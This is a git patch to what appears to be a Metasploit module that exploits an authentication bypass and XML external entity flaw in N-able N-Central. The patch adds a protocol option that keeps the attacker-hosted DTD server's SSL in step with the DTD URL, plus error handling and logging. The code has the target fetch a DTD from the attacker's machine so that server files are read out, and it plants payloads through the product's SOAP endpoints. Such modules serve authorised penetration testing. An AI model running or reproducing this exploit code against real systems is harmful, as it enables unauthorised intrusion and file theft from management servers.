From 1e4527d8338b4f431cdc8011c052d3744e29d7ed Mon Sep 17 00:00:00 2001 From: Valentin Lobstein Date: Thu, 27 Nov 2025 22:11:50 +0100 Subject: [PATCH] Synchronize local server SSL with DTD_PROTO option instead of forcing HTTP --- .../http/nable_ncentral_auth_bypass_xxe.rb | 47 ++++++++++++------- 1 file changed, 31 insertions(+), 16 deletions(-) diff --git a/modules/auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe.rb b/modules/auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe.rb index 499042fb62..f019775a6e 100644 --- a/modules/auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe.rb +++ b/modules/auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe.rb @@ -65,19 +65,18 @@ class MetasploitModule < Msf::Auxiliary ]) register_advanced_options([ - OptInt.new('XXETriggerTimeout', [false, 'Maximum time to wait for XXE file read to succeed', 10]) + OptInt.new('XXETriggerTimeout', [false, 'Maximum time to wait for XXE file read to succeed', 10]), + OptEnum.new('DTD_PROTO', [false, 'Protocol to use in DTD URL and for the local server (http or https). The local server SSL is synchronized with this option.', 'http', ['http', 'https']]) ]) end def run @dtd_filename = "#{Rex::Text.rand_text_alpha(8..15)}.dtd" - # NOTE: SSL is disabled by default (via datastore['SSL'] = false from TcpServer) as N-Central (Java) - # cannot validate self-signed certificates (which are auto-generated by TcpServer when SSLCert is - # not provided) and will fail with: "PKIX path building failed: - # sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification - # path to requested target". HTTP works fine for XXE exploitation. Users can enable SSL by setting - # the SSL option, but it will only work if they provide a valid certificate via SSLCert that is - # signed by a trusted certificate authority. + # Synchronize SSL with DTD_PROTO: N-Central (Java) cannot validate self-signed certificates and will fail with: + # "PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: + # unable to find valid certification path to requested target" + original_ssl = datastore['SSL'] + datastore['SSL'] = (datastore['DTD_PROTO'] == 'https') start_service({ 'Uri' => { 'Proc' => proc do |cli, req| @@ -86,6 +85,7 @@ class MetasploitModule < Msf::Auxiliary 'Path' => '/' } }) + datastore['SSL'] = original_ssl print_status("Started XXE DTD server on #{srvhost_addr}:#{srvport}") super @@ -136,7 +136,10 @@ class MetasploitModule < Msf::Auxiliary XML res = send_soap_request('/dms/services/ServerUI', soap_body) - next unless res + unless res + vprint_error("#{rhost}:#{rport} - No response from server, stopping") + return [nil, nil] + end session_id = parse_session_id(res.body) return [session_id, appliance_id] if res.code == 200 && session_id @@ -203,10 +206,11 @@ class MetasploitModule < Msf::Auxiliary end def build_xxe_payload - # NOTE: Using http:// only - SSL is disabled as N-Central (Java) fails with: - # "PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: - # unable to find valid certification path to requested target" - dtd_url = "http://#{srvhost_addr}:#{srvport}/#{@dtd_filename}" + # NOTE: DTD_PROTO controls the protocol in the DTD URL that the target will use to fetch the DTD. + # The local server SSL is synchronized with DTD_PROTO. N-Central (Java) cannot validate self-signed certificates + # and will fail with: "PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: + # unable to find valid certification path to requested target". HTTP works fine for XXE exploitation. + dtd_url = "#{datastore['DTD_PROTO']}://#{srvhost_addr}:#{srvport}/#{@dtd_filename}" template_name = Rex::Text.rand_text_alpha(8..15) ent_xxe = Rex::Text.rand_text_alpha(4..8) @@ -238,7 +242,11 @@ class MetasploitModule < Msf::Auxiliary XML res = send_soap_request('/dms/services/ServerMMS', soap_body) - res&.code == 200 + unless res + vprint_error("#{rhost}:#{rport} - No response from server when writing XXE payload, stopping") + return false + end + res.code == 200 end def trigger_xxe(session_id, file_path) @@ -298,7 +306,10 @@ class MetasploitModule < Msf::Auxiliary def on_request_uri(cli, req) super + print_status("Received request: #{req.method} #{req.uri} from #{cli.peerhost}") + unless req.uri =~ %r{/#{Regexp.escape(@dtd_filename)}} + vprint_status("Request URI doesn't match DTD filename, returning 404") send_response(cli, 'Not Found', 404) return end @@ -307,9 +318,13 @@ class MetasploitModule < Msf::Auxiliary end def handle_dtd_request(cli) - vprint_status("DTD requested from #{cli.peerhost}") + print_status("DTD requested from #{cli.peerhost}") dtd = make_xxe_dtd - send_response(cli, dtd, { 'Content-Type' => 'application/xml-dtd' }) + vprint_status("Sending DTD (#{dtd.length} bytes): #{dtd[0..100]}...") + send_response(cli, dtd, { + 'Content-Type' => 'application/xml-dtd', + 'Connection' => 'close' + }) end def make_xxe_dtd